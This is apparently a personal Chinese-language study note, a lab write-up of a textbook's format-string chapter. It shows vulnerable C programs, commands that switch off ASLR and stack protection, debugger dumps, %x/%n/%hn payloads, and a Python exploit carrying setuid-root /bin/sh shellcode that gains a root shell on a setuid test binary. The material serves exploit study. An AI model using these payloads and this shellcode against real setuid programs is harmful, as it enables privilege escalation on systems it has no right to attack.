备忘

1.看一下其他资料、书、博客、datacon的视频等

2.刷题

主要是对《计算机安全导论-深度实践》 里面格式化字符串一章节的学习和复现

基础

printf等输出函数为什么可以接收任意数量的参数? 就是这么设计的

image-20230217103340659

va_list是什么? 如何移动?

参见《计算机安全导论 深度实践》107页

漏洞程序与利用

漏洞程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>

void fmtstr(){
char input[100];
int var = 0x11223344;
//输出一些后面要用到的数据
printf("target address %x\n",(unsigned) &var);
printf("data at target address:0x%x\n",var);

printf("please enter a string:");
fgets(input, sizeof(input)-1,stdin);

printf(input); //漏洞点在这里
printf("data at target address: 0x%x\n",var);
}

void main(){
fmtstr();
}

gcc -m32 -o vul vul.c 编译32位的

去除保护需要吗? -fno-stack-protector gcc -m32 -fno-stack-protector -o vul vul.c

sudo chown root vul

sudo chmod 4755 vul

sudo sysctl -w kernel.randomize_va_space=0 关闭地址随机化保护

认识程序栈

了解程序在栈中的布局非常重要

image-20230217104556343

输出栈中的数据

%x.%x.%x.%x.%x.%x.%x.%x.%x.

63.f7fbd5c0.565555d9.ffffd5aa.11223344.252e7825.78252e78.2e78252e.252e7825.

为什么是%x呢? 别的呢? 看基础里面的图,这个是printf的输出格式 ,

这个顺序是什么顺序呢?从哪里开始呢? 为什么不是格式化字符串地址挨着变量呢?

刚输入进去的时候是挨着的呀,哦吼,这是从esp下面第一个开始往下打印,所以这里的栈桢结构和上面的图是反着的!!

1
2
3
4
5
6
7
8
9
10
00:0000│ esp 0xffffd510 —▸ 0xffffd52c ◂— '%x.%x.%x.%x.%x.%x.%x.%x.%x.\n'
01:00040xffffd514 ◂— 0x63 /* 'c' */
02:00080xffffd518 —▸ 0xf7fbd5c0 (_IO_2_1_stdin_) ◂— 0xfbad2288
03:000c│ 0xffffd51c —▸ 0x56555579 (fmtstr+12) ◂— add ebx, 0x1a57
04:00100xffffd520 —▸ 0xffffd55a ◂— 0xf4000100
05:00140xffffd524 —▸ 0xf7ffc984 (_rtld_global_ro+132) ◂— 0x6
06:00180xffffd528 ◂— 0x11223344
07:001c│ 0xffffd52c ◂— '%x.%x.%x.%x.%x.%x.%x.%x.%x.\n'
pwndbg>
08:00200xffffd530 ◂— 'x.%x.%x.%x.%x.%x.%x.%x.\n

在gdb中,直接r,然后输入%x.%x.%x.%x.%x.%x.%x.%x.%x., 就直接运行结束了,没办法看到调试后的效果,这也是自己刚开始很久都不会的调试方法…这种问题应该和同学交流的,搜索引擎也不容易搜到.

pwndbg> r
Starting program: /home/ubuntu/cssec/strings/vul
target address ffffd524
data at target address:0x11223344
please enter a string:%x.%x.%x.%x.%x.%x.%x.%x.%x.
63.f7fbd5c0.565555d9.ffffd55a.11223344.252e7825.78252e78.2e78252e.252e7825.
data at target address: 0x11223344
[Inferior 1 (process 28953) exited normally

在它之后下断点就可以了吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
   0x5655563d <fmtstr+112>    lea    eax, [ebp - 0x70]
0x56555640 <fmtstr+115> push eax
0x56555641 <fmtstr+116> call fgets@plt <fgets@plt>
s: 0xffffd528 —▸ 0xf7ffc988 (_rtld_global_ro+136) ◂— 0x55 /* 'U' */
n: 0x63
stream: 0xf7fbd5c0 (_IO_2_1_stdin_) ◂— 0xfbad2088

0x56555646 <fmtstr+121> add esp, 0x10
0x56555649 <fmtstr+124> sub esp, 0xc
0x5655564c <fmtstr+127> lea eax, [ebp - 0x7


可以在这后面直接下断点即可 b *0x56555646


在fgets输入后得到栈的布局如下
pwndbg> teles
00:0000│ esp 0xffffd510 —▸ 0xffffd528 ◂— 'aaaabbbbccccddddeeeeffff\n'
01:00040xffffd514 ◂— 0x63 /* 'c' */
02:00080xffffd518 —▸ 0xf7fbd5c0 (_IO_2_1_stdin_) ◂— 0xfbad2288
03:000c│ 0xffffd51c —▸ 0x565555d9 (fmtstr+12) ◂— add ebx, 0x19f3
04:00100xffffd520 —▸ 0xffffd55a ◂— 0x9d000100
05:00140xffffd524 ◂— 0x11223344
06:0018│ eax ecx 0xffffd528 ◂— 'aaaabbbbccccddddeeeeffff\n'
07:001c│ 0xffffd52c ◂— 'bbbbccccddddeeeeffff\n'
pwndbg>
08:00200xffffd530 ◂— 'ccccddddeeeeffff\n'
09:00240xffffd534 ◂— 'ddddeeeeffff\n'
0a:00280xffffd538 ◂— 'eeeeffff\n'
0b:002c│ 0xffffd53c ◂— 'ffff\n'
0c:00300xffffd540 ◂— 0xa /* '\n' */
0d:00340xffffd544 ◂— 0x2c307d /* '}0,' */
0e:00380xffffd548 ◂— 0x1

或者直接si进去查看就好了,关键是怎么在pwntools中进行关联

这个顺序是什么顺序呢?从哪里开始呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> ni
63.f7fbd5c0.565555d9.ffffd55a.11223344.252e7825.78252e78.2e78252e.252e7825.
0x56555655 in fmtstr ()


00:0000│ esp 0xffffd510 —▸ 0xffffd528 ◂— '%x.%x.%x.%x.%x.%x.%x.%x.%x.\n'
01:0004│ 0xffffd514 ◂— 0x63 /* 'c' */
02:0008│ 0xffffd518 —▸ 0xf7fbd5c0 (_IO_2_1_stdin_) ◂— 0xfbad2288
03:000c│ 0xffffd51c —▸ 0x565555d9 (fmtstr+12) ◂— add ebx, 0x19f3
04:0010│ 0xffffd520 —▸ 0xffffd55a ◂— 0x60000100
05:0014│ 0xffffd524 ◂— 0x11223344
06:0018│ 0xffffd528 ◂— '%x.%x.%x.%x.%x.%x.%x.%x.%x.\n'
07:001c│ 0xffffd52c ◂— 'x.%x.%x.%x.%x.%x.%x.%x.\n

能看到通过%x输出的是从esp的下一个开始,往ebp方向输出
252e7825 应该是%x.的ascii之类的?????????????/

修改内存中的数据

​ 一开始会觉得很奇怪,printf不是输出东西的吗, 为什么可以修改数据,这就涉及到一些奇奇怪怪的用法了,printf中有一个%n,会把目前已打印出的字符的个数写入内存,数据在内存中保存的本质就是数字,所以这样就可以修改了

1
2
3
target address ffffe43c
data at target address:0x11223344
Segmentation fault (core dumped)

​ 为什么会一直报这个错呢???

​ 64位和32位可以分别调试一下

x/wx 0xffffe3ec
0xffffe3ec: Cannot access memory at address 0xffffe3ec

???

1
2
3
0x565555ff <fmtstr+50>    call   printf@plt                    <printf@plt>
format: 0x56555760 ◂— 'target address %x\n'
vararg: 0xffffd524 ◂— 0x11223344

pwndbg> x/wx 0xffffd524
0xffffd524: 0x11223344

32位可以访问了…

64位的为什么会崩溃呢? 写入数据的时候 Segmentation fault (core dumped)

因为不能访问这个地址,为什么不能访问呢? 感觉这个地址有问题,果然,是前面少了东西! 为啥少呢? 和源代码里面的%x有关系吗,gdb也没提示这个呀….

1
2
3
4
5
6
pwndbg> x/2wx 0x7fffffffe3e8
0x7fffffffe3e8: 0xf7ffe710 0x11223344
pwndbg> x/2wx 0xffffe3ec
0xffffe3ec: Cannot access memory at address 0xffffe3ec
pwndbg> x/2wx 0x7fffffffe3ec
0x7fffffffe3ec: 0x11223344 0x00000000

先用试错法,不加%n找到要修改的地址的位置距离va_list指针有几个移动位置(每一个%x会输出一个东西,然后va_list指针移动,我们需要把它移动到存储要修改的内容的地址的地方)

1
2
3
4
5
6
root@VM-24-10-ubuntu:/home/ubuntu/cssec/strings# echo $(printf "\x64\xd4\xff\xff").%x.%x.%x.%x.%x.%x > input
root@VM-24-10-ubuntu:/home/ubuntu/cssec/strings# ./vul32 < input
target address ffffd464
data at target address:0x11223344
please enter a string:d.63.f7fbd5c0.565555d9.ffffd49a.11223344.ffffd464
data at target address: 0x11223344

需要移动五个位置才能到ffffd464,5个%x,然后%n把前面的数据写入到这个地址

1
2
3
4
5
6
root@VM-24-10-ubuntu:/home/ubuntu/cssec/strings# echo $(printf "\x74\xd5\xff\xff").%x.%x.%x.%x.%x.%n > input
root@VM-24-10-ubuntu:/home/ubuntu/cssec/strings# ./vul32 < input
target address ffffd574
data at target address:0x11223344
please enter a string:t���.63.f7fbd5c0.565555d9.ffffd5aa.11223344.
data at target address: 0x2c

0x2c 也就是 32 + 12 = 44

44怎么来的呢,遇到%n之前输出了44个字符,5 * 8 = 40,这是第 1 3456个输出, 第二个输出是63 也就是两位,

4 + 2 + 4*8 + 6 = 44

4(\x64\xd4\xff\xff) + 2(63) + 4 *8 + 6(点) = 44 ,就是这一串:t���.63.f7fbd5c0.565555d9.ffffd5aa.11223344.

修改内存中数据为指定值

修饰符

​ 这里涉及到指定值的大小问题,如果很大的值肯定不能一直堆字符,用精度或者宽度修饰符来解决

​ echo $(printf “\x64\xd4\xff\xff”).%.8x.%x.%x.%x.%.10000000x.%n > input

1
2
3
4
5
6
root@VM-24-10-ubuntu:/home/ubuntu/cssec/strings# echo $(printf "\x64\xd4\xff\xff").%.8x.%x.%x.%x.%x.%n > input
root@VM-24-10-ubuntu:/home/ubuntu/cssec/strings# ./vul32 < input
target address ffffd464
data at target address:0x11223344
please enter a string:d.00000063.f7fbd5c0.565555d9.ffffd49a.11223344.
data at target address: 0x32

精度修饰符:

宽度修饰符:

但是这样做也有问题,需要打印很多字符,耗时耗资源>

更快的办法

​ 格式规定符的长度修饰符

​ %n:视参数为4字节整型数

​ %hn:视参数为2字节短整型数

​ %hhn:视参数为1字节字符型数

1
2
3
4
pwndbg> x/2bx 0xffffd416
0xffffd416: 0x22 0x11
pwndbg> x/2bx 0xffffd414
0xffffd414: 0x44 0x33

echo $(printf “\x66\xd4\xff\xff@@@@\x64\xd4\xff\xff”)%.8x%.8x%.8x%.8x%.26204x%hn%.4369x%hn > input

data at target address: 0x6688779

利用格式化字符串漏洞注入恶意代码

漏洞源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>

void fmtstr(char *str)
{
unsigned int *framep;
unsigned int *ret;
asm("movl %%ebp,%0" : "=r" (framep));
ret = framep +1;

printf("the address of the input array: 0x%.8x\n",(unsigned)str);
printf("the value of the frame pointer: 0x%.8x\n",(unsigned)framep);
printf("the value of the return address: 0x%.8x\n",*ret);

printf(str);

printf("the value of the return address: 0x%.8x\n",*ret);
}

int main(int argc,char **argv)
{
FILE *badfile;
char str[200];

badfile = fopen("badfile","rb");
fread(str,sizeof(char),200,badfile);
fmtstr(str);

return 1;
}

编译:gcc -m32 -z execstack -o fmtvul fmtvul.c

echo $(printf “\xaa\xaa\xaa\xaa”).%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x > badfile

和书上的不太一样,这里是第22个,不对,是第21个,第一个是”\xaa\xaa\xaa\xaa”这个,不算,所以%.8x是输出了20个后到了aaaaaaaa.

1
2
3
4
5
6
root@VM-24-10-ubuntu:/home/ubuntu/cssec/strings/shell# ./fmtvul
the address of the input array: 0xffffd514
the value of the frame pointer: 0xffffd4e8
the value of the return address: 0x565556fd
����.565556fd.00000000.565555f9.5655583c.56555839.ffffd4e8.ffffd4ec.f7fbd000.56556fcc.ffffd5e8.565556fd.ffffd514.00000001.000000c8.56558160.f7ffdc30.00000200.00000400.ffffd694.56558160.aaaaaaaa.382e252e.2e252e78.252e7838.2e78382e.78382e25.382e252e.2e252e78.252e7838.2e78382e
�the value of the return address: 0x565556fd

返回地址 0xffffd4e8 + 0x4 = 0xffffd4ec

实验中跳转到str数组偏移量0x90的地方, 0xffffd514 +0x90 = 0xffffd5a4

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import sys

shellcode = (
"\x31\xc0\x31\xdb\xb0\xd5\xcd\x80"
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50"
"\x53\x89\xe1\x99\xb0\x0b\xcd\x80\x00"
).encode('latin-1')

N = 200

content = bytearray(0x90 for i in range(N))

start = N - len(shellcode)
content[start:] = shellcode

addr2 = 0xffffd3de
addr1 = 0xffffd3dc
content[0:4] = (addr1).to_bytes(4,byteorder='little')
content[4:8] = ("@@@@").encode('latin-1')
content[8:12] = (addr2).to_bytes(4,byteorder='little')

small = 0xd484 - 12 -15*8
large = 0xffff - 0xd484
s = "%.8x"*15 + "%." + str(small) + "x%hn%." + str(large) +"x%hn"
fmt = (s).encode('latin-1')
content[12:12+len(fmt)] = fmt

file=open("badfile","wb")
file.write(content)
file.close()
1
2
                                               ̀the value of the return address: 0xffffd4ec
Segmentation fault (core dumped)

地址修改对了,但还是报错了,和libc版本有关系?还是需要去除保护?-fno-stack-protector

the address of the input array: 0xffffd514
the value of the frame pointer: 0xffffd4f8

1
2
3
4
5
6
root@VM-24-10-ubuntu:/home/ubuntu/cssec/strings/shell# ./fmtvul
the address of the input array: 0xffffd544
the value of the frame pointer: 0xffffd528
the value of the return address: 0x56555691
����.56555691.00000000.565555a9.565557ac.565557a9.ffffd52c.ffffd528.f7fbd000.56556fd0.ffffd618.56555691.ffffd544.00000001.000000c8.56558160.00000000.aaaaaaaa.382e252e.2e252e78.252e7838.2e78382e.78382e25.382e252e.2e252e78.252e7838.2e78382e.78382e25.382e252e.2e252e78.252e7838
�the value of the return address: 0x56555691

问题出在了这里,在我们这里编译的时候,是第17个位置存储着str数组,和书上不一样,这可能和编译器版本等有关,所以还是要具体问题具体分析,看懂了书里的,然后在实际操作中根据实际情况动态修改一些东西才可以

从root用户切换到ubuntu也会改变一些东西,地址也变了

the address of the input array: 0xffffd3f4 0xffffd3f4 + 0x90 = 0xffffd484
the value of the frame pointer: 0xffffd3d8
the value of the return address: 0x5655569

修改exp里面对应的地址和%x的个数,然后就可以了

1
2
3
4
00000000000000000000000000000000000040404040�������������������������������������������������������������������������11۰�̀1�Ph//shh/bin��PS�ᙰ
̀the value of the return address: 0xffffd484
# id
uid=0(root) gid=500(ubuntu) groups=500(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),114(sambashare)

%n$x 表示格式字符串后的第n个数据